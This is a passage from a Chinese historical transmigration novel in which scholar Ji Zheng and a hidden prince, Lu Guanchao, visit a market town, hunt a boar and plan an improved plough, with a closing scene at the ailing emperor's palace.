季铮回神,朝他笑笑,“有事?饿了还是累了?” 陆观潮张了张嘴又闭上,神色焉焉,瞧起来很困惑。 季铮不理解道,“你咋了,忽然这么扭捏。” 在季铮称得上关切的目光中,陆观潮总算开口,“可以不盯着我看吗。”季铮一直盯着他,每回对上那视线,他不由想起早上那事,浑身不舒服。 “哈哈哈,有吗……”季铮心虚的挠了挠脸颊,先不说他只是发呆而已,再说,两个大男人,看看有什么的,又不会掉块肉。 上午播了一半,季铮看了看头顶烈阳,再干下去恐怕会中暑。 古代医疗环境差,一场风寒足以要了一个人的命,万一陆观潮热中暑了,他可没钱请大夫。 两人停了活,下午出发去镇上。 季铮穿来没几天,林子里的路都识不清,还是临走前问了赵大爷,又有同行的村民,才不至于半路迷路。 陆观潮冷嗤一声,“想不到你还是个大小姐,大门不出二门不迈。” 季铮心里翻了个白眼,都知道寄人篱下了,还摆这幅架子,这是得有多娇贵,不识路的原因说出来能吓死你。 面上他笑道,“我就当你在夸我了。” 陆观潮看不清文人一个原因是文人装得很,死要面子,一个大男人满嘴子乎者也,不干实事,吵得人头疼,有什么用? 看季铮伶牙俐齿,对他的惭愧少了些。 季铮不知道陆观潮心思的转变,乐呵呵的跟着人走,很是期待,这是他穿越以来第一次去村子以外的地方,自然是激动万分 。 两人一路无话。 季铮所在地村子叫临宜村,临近吴阳镇,路途不远,季铮向来记性好,走一遍便把这条路怎么走记得大差不差了。 镇上热闹异常,远远望去,只能见一片乌黑的后脑勺。 同村的一个少年和季铮说,“今日正巧是每月一回的土地庙会,人很多,季铮哥,你这么瘦弱,可别跟丢了。” 少年姓陈名昇,是村上唯一一个教书先生的儿子,才二十出头,同季铮儿时一块读书,算是同窗,关系不错,只可惜没有季铮脑子聪明,至今连生员也没考中,这几年家中又突发变故,便歇菜不考了,学了门炼铁的手艺,足够养家糊口。 许是做惯了力气活,一身肌肉不比陆观潮吝色多少,却比陆观潮黑多了,脸上常挂着笑,眼睛雪亮,和他的名字很像,当真是个如太阳东升般生机勃勃的少年。 他抓着季铮,顺手把自己戴着的草帽扣到人头上,道,“咱们得赶紧买完回去,天太热了,季铮哥,你要买什么?” 季铮要推脱,被陈昇强硬的态度的劝退,扶着草帽笑了笑,回头想拉着陆观潮,可怎么也找不到人在哪,他四下张望,哪里还有陆观潮的踪影。 真是奇了怪了,方才还在他身后呢,一会儿就不见了影,难不成是走了? “季铮哥,这还是你及冠后第一回对我笑,你笑起来真好看,遇到什么好事了吗……季铮哥?”陈昇手上拉了拉他,“你咋不理我。” 原身自命不凡,为人清高孤傲,尤其是考中生员后恨不得鼻孔看人,对这个儿时的朋友一向没有好脸色。 季铮没时间管会不会被陈昇发现不对,他极目远望,依旧看不到陆观潮人,按理说,陆观潮容貌佼佼,身量极高,放到人群里很是显眼,不该找不到。 总不能真是自己走了吧,季铮是不信陆观潮这么大一个人能走丢,但这人说来就来,说走就走,为什么一声招呼也不打一个。 陈昇问,“季铮哥,你看什么呢?” 季铮道,“我弟弟,小陆找不到了。” 陈昇回想起季铮嘴里的小陆,他还不信,原来那个一眼看上去很不好相处的男人,居然还真是季铮血脉弟弟,两个人长得一点相像的地方也没有,脾气一个面冷,一个面热,更是南辕北辙。 这两人,真是兄弟? 陈昇见他焦急,眸底闪过一丝异样,道,“我刚才看见他进了一家酒楼,应该累了吧。” 酒楼?陆观潮有钱? 季铮啧啧称奇,果然是有钱少爷,瘦死的骆驼比马大,逃难失忆也随身带钱。 早知道陆观潮有钱,他得敲诈一笔住宿费。 陈昇说的不假,陆观潮正在临街的一家酒楼二层厢房里,不过他还不至于花钱进来。 陆观潮垂眼,从窗户往下望去,楼下就是季铮和陈昇,街上太吵,他们说了什么听不大清。 陆观潮支着下巴,饶有兴趣的盯着楼下两人看,情绪不达眼底,没人知道他在想什么。 门口“吱——”一声细响。 一个大腹便便的男人面带殷勤走进来,小心翼翼的带上门,隔着屏风行了个笨拙的礼,“不知王大驾,有失远迎,还望殿下恕罪。” 5. 第 5 章 此时楼下,季铮听取了陈昇的说法,叹了口气,“好吧,那我们先去买东西,回来我再找他。”说罢,跟着陈昇走了。 陆观潮也是成年人了,又不是小孩,他在紧张什么。 仔细想来,陆观潮真走了也是好事。 陆观潮一直看到人消失在人海里为止,这期间,厢房了无人声,只余熏香袅袅上升。 伺候的小厮丫鬟们眼观鼻,鼻观心,冒了一头虚汗。 面前这人可是克死亲娘的天降煞星,战场上杀人如砍瓜切菜的主,别说冒汗了,他们没跪下已经是够极限了。 来人还保持着弯腰行礼的动作不敢动,这个身材能端这么久真是难为他了。 陆观潮在窗外看不到季铮了,但仍支着头看,他终于启唇,说了来这的第一句话“起来吧,董县令。” 董县令“是”了一声,慢慢直起身子,又不敢彻底直起,他已有五十多岁,鬓边生了些白发,满脸横肉,穿金戴银,手上戴的戒指上的宝石,比他的手指头还大,不像官员,倒像是个富商。 事实确实如此,董县令靠行商发家,生意人精明,人到中年发迹后,不惜重金买了个小官做,人是个八面玲珑的,分得清利弊,早年辗转攀上珏王这条大腿,一路青云直上,右迁至一方县令,虽没有多少权利,那也是不小的品阶。 他可和珏王绑到了一块,听闻陆观潮出事了,是比他本人还急,就怕自己的富贵日子到头。 这不,陆观潮传了个口信,董县令便急匆匆的赶来了。 董县令讨好道,“殿下真乃真龙之子,福大命大,您没事真是太好了,有什么指示,小的一定给您办妥了。” 陆观潮道,“找具尸体,把这个挂上去。” 他远远抛给董县令一枚金牌,董县令接过一看,是珏王身份金牌,他当即猜到陆观潮的意思,诚惶诚恐的跪下,“小的不敢。” 如今朝廷正大肆搜寻陆观潮,见人者赏千金,提供线索者赏百金,这般大费周折,为的就是赶在陆观潮回京之前秘密处置,一旦让陆观潮回京复位,可就很难再有时机理由了。 朝廷要陆观潮死,皇上要珏王死,他权势滔天,拥兵自重,于一众官员而言,他是个极大的威胁,于皇上而言,更是头上悬着的一把刀。 他们不见到陆观潮的尸体是不肯罢休的。 只要悬赏一日还在,陆观潮便一日无法回京,安全始终无法保证。 他要找一具尸体,以安朝中权臣乃至皇上的心,所以,他找上董县令。 这无疑是两全之策,陆观潮安全了,董县令也受到封赏,可…… 董县令道,“可……万一事败,那可是欺君之罪啊!” “本王都把腰牌给你了,还能事败,只能说明你蠢。” 董县令还是不敢应下,“万一皇上命人验尸。” “麻烦。”陆观潮皱了皱眉,“拿纸笔来。” 不一会儿,便有小厮将文房四宝摆上,又有丫鬟伺候研磨。 陆观潮提笔挥就,半炷香不到,一张纸轻飘飘的落到董县令面前。 那是一幅画,画着陆观潮身上常年征战留下的大小疤痕,,以及鲜为人知的,在小腹右侧的一块月牙样胎记。 有了这幅画,准备一具尸体,足以以假乱真,可不是不怕验尸了,哪怕皇上亲自看也看不出问题。 董县令眼冒精光,这是他的机遇,要是做好了,一步登天不在话下,他忙不迭折住收好,再没有顾虑,“小的明白了,殿下还有吩咐吗?” 陆观潮把玩着手上的毛笔,紫竹杆,山羊毫毛,大师手刻。 文化人的事他不懂,这笔他用的顺手,大致能猜得到此笔并非凡品,价值不菲,董县令是贪了多少啊? 陆观潮道,“给本王拿一瓶药酒来。” 董县令不明就里,陆观潮看起来行动如常,要药酒干什么,他问,“殿下您受伤了,小的给您叫个大夫来如何?” “没有。”陆观潮凝眉“啧”了一声,不悦道,“你只管拿来,本王有什么用,还要支会你?” “是是是。”董县令一抹头冷汗,赶忙吩咐手下送来上好的药酒。 药酒一色摆在桌上,陆观潮随手拿了一瓶,终于是满意了,拂袖而去。 跪的时机长了,董县令不由双腿发软,陆观潮一走,跌坐到地上。 那煞星总算走了,他在的时候,董县令甚至不敢呼吸。 “呸!晦气死了。”董县令怒道,“还不快扶我起来!” 两三个小厮一拥而上,手忙脚乱的把董县令扶起来,憋得脸红脖子粗,好歹是把人扶住了。 董县令站稳后,斜了一眼陆观潮坐过的地方,心里直犯怵,生意人信鬼神,外界皆传陆观潮煞星转世,面相不吉,命格大凶,看一眼喝水塞牙,说句话出门被马撞,又年纪轻轻上战场,手中染血无数,凶上加凶,邪上加邪。 他避蛇蝎般摆摆手,“来人,把,把那人用过的东西处理了……可别真招来祸端了。” 几个小厮压下恐惧过去收拾,一个小厮“嘶”一声,奇道,“老爷,笔不见了。” 董县令一瞪眼,“一支笔有什么的。” 小厮苦着脸,“是您新得的那支羊毫紫竹……” 怕什么来什么,偏偏还是染上晦气了。 “什么?丢了!”董县令指着他们鼻子骂,“不长脑子的东西,谁许你们给他用的!罢了罢了,他都用过了,丢就丢吧……” 董县令肉疼极了,愤愤“哼”了一声,说罢,他急忙远离这个是非之地,好似待久了会更不幸一样。 另一边,季铮正和陈昇挑制作曲辕犁的工具。 陈昇问,“季铮哥,你要做东西啊?” 季铮点点头,“是,家里干活没工具,正好买点。” 陈昇从小就格外亲近这个父亲赞不绝口的同窗,长大后又因季铮家庭困难,心生怜惜,常常照料帮忙,只可惜,后来季铮刻意疏远,两人的关系变得不咸不淡。 或许是季铮刚才那个笑,让陈昇觉得回到了儿时,东西也不买了,对季铮分外热情,全程陪着季铮逛东逛西。 陈昇兴冲冲道,“那季铮哥你别买了,我家什么都有,你要什么直接来找我啊,我帮你做也行。” 季铮先去买细线再看的工具,工具比季铮想象的要贵得多,全部买全是一笔不小的费用,系统给的补偿根本不够看的,更别提他还有别的要买。 陈昇这番话让季铮心动不已,他有些不好意思,“总是麻烦你不太好。” 陈昇笑的极具传染力,“这有什么的,尽管找我。” 这么一个专业的人就摆在眼前,还不要钱! 他这么说,季铮不再推辞了,正所谓能省钱省力的事,不干的就是傻子。 陈昇脸蛋被晒的红扑扑的,又说,“咱们的关系,要不是都是男的,说句不好听的,那不就是青梅竹马。” 季铮心想,青梅竹马这么用,怪不得你考不上。 正聊着,忽的背后一股凉意,季铮肩膀被人拍了拍。 季铮和陈昇一块回头,竟是陆观潮! 陆观潮神色淡淡,看向陈昇时,眉眼却染上几分烦躁。 乱开些不正经的玩笑,季铮也是,不 是说读书人注重规矩吗,笑个屁。 季铮眨眨眼,“陆观潮,你去哪里了?” 陆观潮没好气的瞪了他一眼。 得,季铮白高兴了,这白眼狼玩意摆着臭脸就来了,还不如不告而辞呢。 陈昇和陆观潮打招呼,“我是陈昇,你哥一块长大的朋友,看你比我大,我也叫你一声哥吧。” 陆观潮斜了他一眼,冷冷“嗯”了一声。 陈昇尴尬的摸了摸脑袋,看向季铮。 季铮晒笑道,“小陆他天生臭脸,不爱说话,你别往心里去。” 其实就算他不解释,按陈昇那没心没肺的性格也不会往心里去。 陈昇就这么信了季铮的托词。 “我陪我哥就行,你忙你的吧。” 陆观潮明晃晃的下了逐客令,陈昇不知怎地打了个冷颤,心底发毛,他没在意陆观潮莫名的敌意,真以为是不会说话。 “那季铮哥你明天记得来找我,我帮你做。” “好!”季铮笑着送走了陈昇,转而问陆观潮,“人那么多,你到底去哪了?” 陆观潮两三句揭过,反问,“你在关心我?” 大哥,这是质问,你能觉得是关心算你牛。 季铮本身对陆观潮的事不感兴趣,既然他不想所,暗戳戳翻了个白眼,也就不问了。 陆观潮又问,“你一个人,去他家里干什么?” “我没说你不用去,你明天就知道了。”季铮想起陆观潮面对陈昇那副看不顺眼的样子,问,“你为什么不喜欢陈昇。” 陆观潮:“讨厌一个人不需要原因,你帽子新买的?” 季铮这才想起来草帽还没还给陈昇,只得明天再说了,他解释,“不是我的,刚陈昇给的。” 陆观潮眉间微动,忽的伸手把季铮头上的草帽摘下拿在手里,“丑死了。” 少年几根头丝被这突如其来的动作带着竖起,摸了摸已经没了草帽的脑袋,莫名其妙的样子瞧起来有些呆。 “……” 镇上有几家成衣铺子,季铮在路边问了一个小摊,去了最近的一家。 陆观潮跟在季铮身后,不说话也不动作,但那身高让他忽视不了。 直到到了铺子,陆观潮才知道是给他买,他意外的挑眉,想要说些什么,被季铮一把推进换衣间。 这张吐不出好听话的嘴还是不出声的好。 陆观潮身量颀长,肌肉健硕,很难买到合适的衣服,店家找了半天才翻到一件早年做大的一套。 那也是黑色的,布料远远没有陆观潮身上的好,款式也落后,最起码能穿就是了。 陆观潮换好走到季铮面前,无声询问怎么样。 季铮十分捧场,“哥们,你要帅死我了。” 陆观潮一遍又一遍的整理袖子,声音小到几乎听不见,“说了不能称兄道弟。” 不全是夸大,陆观潮这身段,穿什么的养眼,放到现代分分钟收揽百万粉丝,下海也必须是头牌起步。 同为男人,季铮羡慕嫉妒恨。 原身毕竟是土地里土生土长的,肌肉多少也有,即使没陆观潮那样的力量感,也能看的过去。 不过比起季铮前世,还是差了点。 季铮咬咬牙买下这套衣服,兜里已然没剩几两银子,没了再逛下去的资本,两人顺着原路折返回去。 到家时,天边暗了下来。 季铮忙着理线补网,忽的陆观潮将一直攥着的东西放到桌上,往他的方向推了推。 是一支笔。 季铮疑惑的拿起问陆观潮,“给我的?” 6. 第 6 章 陆观潮没正面回答,只答,“是好东西,我用不到,你拿着用吧。” 季铮这才端详这根笔,半晌,他嘴角抽搐,“告诉我,这哪来的?” 陆观潮一本正经,“捡的。” 捡的?这根一眼看上去贵的能买它命的笔是捡的? 季铮信他还不如信肥猪会上树,陆观潮这话说出来自己不会笑吗? 陆观潮不耐道,“不要就丢了。”说着,他伸手欲夺。 “我要我要。”季铮嘿嘿一笑,管他捡的骗的偷得抢的,到他手里就是他的,谁会和钱过不去。 季铮虽然暂时用不上,但日后拿去卖肯定值不少钱,不亏不亏。 “还有。” 季铮抬眼,“还有什么?” 陆观潮有拿出一瓶陶瓷小瓶装的药酒,“我看到你早上揉后腰了,一会儿吃完饭,你上点药。” 瓷瓶精致,巴掌大的东西画着花鸟鱼虫,开盖散发出阵阵酒香气,同样不便宜。 季铮问,“哪来的?” 陆观潮:“捡的。” 哇——兄弟你的运气简直了。 季铮下意识又摸了下后腰上还隐隐作痛的地方,陆观潮吃错药了吗?又是送笔又是送药的。 忽然这么好心,季铮很不习惯,小心试探道,“陆观潮,你是不是做坏事了,或者有事求我。” 陆观潮脸色有一瞬间的僵硬,他皮笑肉不笑的讽刺季铮,“求你帮忙不如求一只猪。” 季铮心里也是这么想的,在外人眼里,季铮的形象还是那个平平无奇,一穷二白的书呆子,没人知道这壳子里已经换人了,表面上看,着实没有可用之处。 季铮闻言,反而更加疑惑了,他干脆直接问出口,“那你今天怎么和转性了一样,兄弟,很瘆人知道吗。” 陆观潮同样不清楚自己怎么想的,明明心底还是厌恶文人,但如今对季铮不再像最初那样排斥,顶多带着些别扭的情绪。 难道是因为早上的事,还是因为季铮花光了钱给他买衣服感动了? 不然怎么解释,才相处两天,他会如此转变态度。 陆观潮语气愠怒,找补道,“就当是借宿费了,你一天天话为什么这么多。” 季铮撇撇嘴,评价了两句喜怒无常,莫名其妙,便老老实实的去厨房给人做饭了。 两人吃完饭,季铮先回房擦药酒,留陆观潮一人在院中劈柴。 斧头年纪大了,笨重迟钝,季铮用的费力,陆观潮来了后,因他力气大就全权交给他干。 陆观潮单手持斧,斧下木头如纸片一般断开。 院里寂静无声,只听见斧头砍木头发出的沉重“梆梆”声。 陆观潮一斧头接一斧头,仿佛回到战场上。 满眼鲜血,腥臭味熏天,手起刀落,人头落地,杀戮永无止境,一场战事过后,遍地都是尸体,血流成河,身积成山,乌鸦怪叫着啃食腐肉,来往收尸的士兵步履匆匆。 每每这时,陆观潮会自嘲的想,他还算是个人吗,难不成真成了他们口中的煞星? “陆观潮。” 忽的,季铮出声打断他的思虑,陆观潮把斧头丢到劈好的木柴上,进屋去,“干什么。” 屋里仅仅点着一盏灯,光线昏暗,闪烁的烛火映出两人的影子。 季铮衣衫不整,一脸困惑的看着药瓶,眼睫微垂,不笑的时候那张脸柔和,也是讨人喜欢的。 陆观潮心口本就有一团火,见此情形愈发滚烫,“衣服好好穿。” 季铮奇怪的看他一眼,反问道,“穿着衣服能上药吗?来,帮个忙。” 陆观潮一动不动,“什么忙?” “你傻了吗,还能是啥?”季铮晃了晃药酒,“给我上个药,我手不长,勾不到,过来啊,站着发啥呆。” 陆观潮在季铮的催促中走过去,机械的拿起药酒,“趴下。” 季铮当着陆观潮的面,把上衣解开,褪到后腰下一点,露出劲瘦的腰身,坦然趴到床上,毫无防备,大有一种“兄弟,我就信你,放马过来吧”的架势。 季铮瘦弱,背部线条称不上完美,但也不差,常年在家读书,晒不到太阳,皮肤白皙,显得后腰上那一块青紫分外明显。 想到这伤是自己弄得,陆观潮眼中多了些悔意,手忙脚乱的倒了药酒,搓热,大手覆盖上去。 许是太过紧张,力气用大了,季铮闷哼一声,“你害死我有什么好处吗?” “我,我一次给人上药,你忍者点。” 无论传闻怎样,陆观潮一出生就贵为皇子,先帝膝下子嗣稀薄,活下来的只有他和皇兄两位皇子,多不受待见也是有吃有喝养大的。 就算初入战场时从底层做起,种过地,煮过饭,但那也没持续多长时间,人人都知道他煞星的名头,谁敢让他帮忙上药。 再然后,地位稳固了,生活起居有专人照料,伤了病了有随行医士,他只要多多打仗,收拢军心就够了。 陆观潮从没有屈尊降贵伺候过人,季铮是头一个,他不熟练也是难免的事。 “没事,你继续吧。”季铮把头埋到枕头里,背部因为用力而绷紧,不知道陆观潮的往事,他只知道,好兄弟的力气是真的大。 陆观潮手上结了一层厚厚的茧子,力气奇大,在皮肤上揉搓,比用刷子刷还难受。 季铮枕头上的眉头皱成一团,早知道,他还不如找把刷子,效果兴许也是一样的。 季铮觉得自己特爷们的忍住嘴边的鬼哭狼嚎,陆观潮没揉一次,他脑里便响起一次“大大大大大大哥,大哥别杀我~”又想哭又想笑,备受折磨。 这一幕放到陆观潮眼里便不一样了。 男人长发撂到一边,光洁的背微微颤抖,他心里分明想着要轻点,小心点,却不知出于什么原故,呼吸不稳,克制不住手下的力气,一次比一次大。 陆观潮呼吸更重了几分。 疼为什么不叫出来?读了书的文化人就是装。 “那个……”季铮弱弱抬起手,抓住陆观潮的胳膊,“大大大大大大大哥,大哥别杀我。” 他一激动,把心里播报的歌“唱”了出来,说是唱,远没有嚎贴切。 陆观潮呼吸一滞,才反应过来似的停下动作,“你唱的什么曲子,难听死了。” 季铮挣扎着起来,扭头想看看自己腰上的伤,无奈他脖子长度有限,拼命探头也看不见。 这一顿操作下了,撞伤不但一点没有缓解,火辣辣的更严重了,他欲哭无泪,“陆观潮,你说,咱俩有仇吗?” 陆观潮恼羞成怒,“我说了我是第一次,让你忍着点!” 季铮无力道,“受伤的是我,你生气个什么劲啊?” 陆观潮破罐子破摔,撂挑子不干了,“我不会,还是你自己擦吧。” 那可太好了,季铮早在陆观潮下手那一刻就想这么说了。 大少爷陆观潮,除了一身力气,真是哪哪都指望不上,生活指数几乎为零,天不会聊,脾气又古怪。 陆观潮放下药酒转身就走。 季铮道,“这么晚了,你去哪?” 陆观潮不理他,径直出门去。 祖宗又生气了。 季铮神经病了才管他,巴不得陆观潮回不来的好,他象征性的叫了两声无人回应,利索的吹灯睡觉。 烛火也是很贵的好不好! 入夜,子瘦山悄无声息,只有虫鸟是不是吱吱咕咕叫唤几声。 静谧的月色照在河水上,微风吹来,波光跃动。 “扑腾——” 陆观潮从水里站起来,水滴顺着姣好的腹肌一路向下,最终流回河里。 夏夜的河水冰凉,却浇不灭他的烦躁。 陆观潮将脸上的水抹去,身后,传来动物的低声嘶吼。 他偏头看了看,弯腰在水中捡起了一块石头。 正经烦得很发泄不了,这么巧就有找死的送上门了。 半夜时分,季铮忽然闻到一股血腥气,他想睁眼看看,最终败给浓烈困意,没能如愿。 第二日,一缕阳光打到季铮脸上,他眼皮抖了抖,缓缓睁开眼。 陆观潮已经回来了,在他床边打了个地铺睡得正熟。 季铮这回长记性了,他小心的绕开陆观潮起身下床,脖子上的痕迹还没彻底消下去,他今天还要再穿一天高领衣服。 穿戴整齐,季铮推开门,打算先做早饭再叫陆观潮。 一开门,看清院中的东西,霎时间呆住了。 “陆观潮!” 他操了,陆观潮他娘的从哪搞来了一头猪! 院里,一头肥硕的野猪躺在地上,头上鲜血淋漓,看样子死了没多久。 事实摆在眼前,季铮仍是不敢承认,陆观潮昨晚走了大半夜,整了头猪回来?! 陆观潮被吵醒,单单穿着里衣,他语气平静的奇怪,“怎么了,有问题?” 季铮指着那头猪,“哪来的?你别告诉我也是捡的。” “不是。”陆观潮环手而立,站在他身边,实话实说,“我打的。” 季铮眼皮子跳了跳,“你是说,你昨天晚上抹黑上山,什么也没带,徒手打死了一头猪,没受伤,又背着一百多斤的猪安全下山,回家睡觉,武松都没你玄幻吧。” 陆观潮道,“和你说的差不多,不过我不是徒手打死的,用了武器,武松是谁?” 用石头打死,就不玄幻了吗? 季铮:“武松谁也不是。” 昨晚陆观潮心情郁闷,一时冲动,放到平时,他肯定不会冒这个险。 陆观潮道,“你太瘦了,我稍微用点力能掐死你,多吃点肉补补。” 经过昨天一遭,陆观潮对季铮的态度不自觉微妙变化,连说话都不咄咄逼人了,但现在这不是重点。 古代没有冰箱电器,食物不保存,两三天就发霉坏了,猪肉是可以晾干储存,但这个院子没多少多余的地方晾晒,而保存食物靠的是地窖冰块,依照原身的贫穷程度,自然是不可能有的。 季铮深吸口气,“咱们能吃得完吗?” 陆观潮不解,“吃不完吗?” 要知道,并不是人人都像你陆观潮一样能吃。 7. 第 7 章 最终,在季铮的坚持下,陆观潮不情不愿的把死猪简单收拾了,又应季铮的要求,将内脏和一部分肥肉留下,只把瘦肉分成四份。 陆观潮提着四份之一生肉,和昨夜季铮补好的网子一并给赵大爷送去。 他走后,季铮按照系统发放的那本书,画了一幅曲辕犁的草图。 赵大爷家地种的比季铮种的早,粟米已经发芽,长到脚踝上下的高度,这会儿早早上地里除杂草去了。 家中赵大娘在,陆观潮把肉给她,没说是他晚上猎的,撒谎布置陷阱中了,就这赵大娘还是连连惊呼,热情的邀请他和季铮中午来家里吃饭。 自知道赵大爷家中的情况后,他便不再答应留饭,季铮多次劝他一顿饭吃不穷,无奈陆观潮犟得很,认准的事天打雷劈也不肯改。 他不大会拒绝人,但那张冷脸明显比言语更有用,赵大娘看得直犯怵,每每提了一句就闭嘴了。 回到家,季铮正好画完,他在临摹方面有点小天赋,画功可见一斑。 季铮把纸摆着等墨干,陆观潮就在这时进屋,“赵大爷不在,赵大娘让我们中午去那吃饭,我拒绝了……” 看到季铮纸上画的简图,没有说完的话卡到嘴边,戛然而止,一向冷若冰霜的眸色迸发出亦惊亦喜的色彩。 陆观潮在边疆驻兵,边疆少粮,他也曾下过田,观察实操过,对农具略知一二,一眼便能看出其的不同寻常。 陆观潮急步上前,“这是什么?” 季铮道,“辕犁的草图。” “我知道。”陆观潮语气难掩激动,“你把他改进了?” 季铮摸摸鼻子,“是,你看看怎么样。” 严格来说,这不是季铮的功劳,据史料记载,曲辕犁由唐朝江东地区百姓在长期实践中,改进前人的短辕犁创造出的。 当然,现在还没现世,但用他人功劳,难免会不好意思。 季铮一边比着,一边讲道,“如此一来,架变小变轻,便于调头和转弯,操作灵活,节省人力和畜力,应该能提高粮食产量。” “好!改得好!”陆观潮简直想把这张草图供起来。 他原以为季铮和朝廷的文人没什么两样,一天天空口白话,不懂世事,眼下再看,竟是大不相同。 季铮大才! 陆观潮目光炯炯,看来他此次落难,机缘巧合遇上季铮,倒捡了大便宜! 若是这把辕犁能做出来,且真和季铮说的一样,节约人力畜力的同时还能省下时间,投入更多的田地耕种,那样,天下岂不再无荒田? 陆观潮道,“你确定能用来耕种?” 季铮也拿不准,毕竟东西最早兴于南方水田,他不敢保证放到一样适用。 他道,“不急,先做出来再说。” 墨差不多干了,季铮收好,和陆观潮带上四份之一的猪肉去陈昇家。 陈昇父亲死后,便在镇上练铁匠做学徒,学成回村,偶尔帮村里人修修农具,收些报酬维持生计,对这些东西比季铮熟练。 专业的是就该交给专业的人做,何况陈昇天性纯善,于原身有一定感情基础,交给他季铮不担心被有心之人拿去运作。 陈昇收下图纸,说什么也不肯要猪肉,最后被陆净规半劝说半威胁的强塞进怀里才罢休。 放下东西,他展开图纸一看,刹那间呆愣住,平日里陈昇不少制作农具,乍一拿到简图,仔细一研究,亦是惊喜。 他比陆观潮还耐不住,跃跃欲试,“季铮哥,怪不得我爹在时总夸你,你真是天才,你放心,我一点尽快给你做出来!” 季铮松了口气,他就怕陈昇看不到他画的意思,想来陈昇也是老手了,照样子做出来只是时间长短的问题。 季铮笑道,“谢谢你了,要多长时间能做出来?” 陈昇算了算,“我手上还有两个活,慢则半个月,快则九天,季铮哥,我就是晚上不睡觉,也得给你搞出来……哦,对了,季阿姐给你送信了吗?” 他口中的季阿姐,即使原身的妹妹,姓季名状元。 是的,状元。 季铮时至今日仍是无法理解,为什么原身父母要给自家亲闺女取这么一个傻吊名字,想儿子考状元想疯了吧! 这名字和那些重男轻女的家庭里取的招娣,盼儿有什么区别。 季铮下定决心,等原身妹妹回来了,首先是给小姑娘改个名字。 他摇摇头道,“并没有来信。” “也是,季阿姐不擅言辞,心里定是有你的。” 陈昇从怀里掏出一封家书,“我阿姐来信了,说主家放了假,这段时间就要回来了。” 陈昇的姐姐因父亲是教书先生,有幸能读上书,识得几个字,现下在镇上一家地主家给小姐做伴读,和季铮妹妹做绣娘的主家是同一家。主家每隔几个月放一回假,得以回乡看望家人,两人同龄同村,都没成亲,相互有个照应,回家务工常常一起作伴。 季铮穿越前父母早亡,从此伶仃孤苦,好在同村人心善,见他可怜,轮流收留照料他,他考上大学后,宿舍有个兄弟家里有妹妹,日日在宿舍炫耀妹妹多乖巧多漂亮。 听得季铮羡慕极了,而今看来,还好他父母走前没给他留个妹妹,不然他一朝穿越,剩妹妹一个人怎么舍心。 想到马上就要有个妹妹了,季铮在回家路上,脚步都轻快了不少。 陆观潮见他高兴,趁机道,“季铮,你改进的辕犁草图,可以给我一份吗?” 季铮反问道,“你要这个有什么用。” 陆观潮支支吾吾的说不上个所以然。 战场上重中之重的不是装备,不是将领,而是粮草。 管你是将领用兵如神,装备源源不断,粮草不足,什么都不是。 边疆耕种产量低,陆观潮有私心想用到自己的封地上,若是封地上粮产量提高,他便不用每年冒着被刺杀的风险回京讨要粮草,边疆的将士能吃饱饭,打起仗来胜算更大。 可季铮不知他的身份,如今时局变动,这些话包括他的身世,还不是能告知季铮的时机。 至于图纸他确实没理由讨要,就看季铮脖子上还残存的印子就知道了,不过是看季铮心情好碰碰运气,恐怕季铮舍不得给他,那也是人之常情。 不料季铮竟大方同意了,“好吧,回头我再画一份给你,多大点事,不过你得帮我点忙。” 陆观潮立即应下,让他干什么都行,生怕说慢了季铮就后悔了。 中午,季铮炒菜中添了肉,他久不见荤腥,一顿饭吃的快要感动哭了。 古代调料稀缺,一般人家只用得起些粗盐,做出来的饭菜没滋没味,猪肉还存着腥味,虽然季铮已经适应了这口味,但还会十分怀念穿越前的美食。 两人吃完午饭,天气并不再像昨日般炎热,便顺路拐了一趟地里,摸黑将剩下的种子播完,之后回家处理剩下的一半猪肉。 猪肉可以风干制成肉干便于保存,肥肉用来炼油,而猪的内脏,依照他的观察,这个时代人嫌其脏污,会把这些丢掉。 “所以,你让我帮的忙是洗这个?” 陆观潮指着裹着粪便和鲜血的肠子,不可置信的看向季铮。 他不惊讶的当然不是清洗这些,在战场上,见惯了血啊屎啊,甚至能面不改色的对着吃饭,守着睡觉。 他惊讶的,季铮一个文人出身不谙世事的少年,居然会愿意接触世上 文人所认为污秽的东西。 实在是…… 颠覆他以往的认知。 季铮身上到底还有多少是他不知道的,陆观潮生出了想了解眼前人的心思。 季铮笑道,“辛苦你了。” 边笑,他边抬头看了看太阳。 方才还明媚的烈日,不知什么时候被阴云笼罩,看样子要下一场大雨。。 季铮收了笑,“要下雨了啊——” 宫墙之下,步履纷纷。 空气里残存潮气,一片黑云低低压着,天色昏黄灰暗,连风也不见凉爽,闷得人直喘不上气,是雷雨的前兆。 蝉无力鸣叫,虫子伏在嫩草叶上,偶然有喜鹊迅速掠过,宫女悄悄抖了抖裙摆,以防虫子爬上,秀丽的眉眼愁云惨淡。 亭下,一个太监带着一行宫女走过,步子小而快,惊起一只蟋蟀。 一派压抑的氛围。 为首的太监眉间凝成一点凸起,细尖的嗓音轻声道,“圣上才睡下,待会进去了都机灵些,可别不要命了放肆,若惹了圣上不快,仔细你的脑袋。” 宫女们或端着水盆,或手持拂尘,皆是各宫掐尖的体贴细心,她们微微点头,掩饰住紧张激动,明明担惊受怕的要命,却一个也不肯放弃这个能飞黄腾达的机会。 越靠近甘露殿,那低气压便更重。 带刀侍卫身披戎甲,面色威严,苦涩的药味隔着老远都能闻见。 到殿门口,宫女们搜过身后,被放进去。 太监擦了擦额头虚汗,和门口侍卫对视一眼,一同叹出一口气。 “赵侍卫,圣上如何了?” 侍卫赵德眼下乌青,不知不眠不休几日了,“害,别提了,对了福总管,有那人的消息了吗?” 太监福寿禄,陪着圣上一块长大,师傅死后继承了他的衣钵,为当今大内总管,伺候圣上很有一套,但面对这突如其来的祸事,亦是束手无策。 当今帝王陆泽,勤政尊贤,爱民如子,仁厚宽和,有尧舜之量,文帝之风,是一位难得的贤德明君。 对自个严苛,对他人却仁慈,初登基时,怜惜那冷宫煞星,特意令人传授其武力,力排众议推举人上战场。 可惜出生那年,母后造人暗算,以至早产,天生体弱,平日更是大病小病不断,即使对皇后下手的那位宠妃一经发现,不顾宠妃怀有身孕便被处死,母家也受牵连,但事实已然发生。 从小格外仔细照顾,当个瓷娃娃似的养大,也挡不住人到中年,身子日渐薄弱。 这不,听闻煞星皇弟珏王回京路上突发不测,下落不明,当晚郁结于心,病倒床榻。 太医皱着眉进,摇着头出。 此乃心病,岂能药来医? 赵侍卫口中的那人,正是珏王陆观潮。 珏王不祥,几乎没人提及他正经封号,私下都以“那人”“那位”称呼。 福寿禄眼存倦意摇了摇头,自从圣上病倒这几天来,他忧心不假,心疼切实,没睡好过一个好觉。 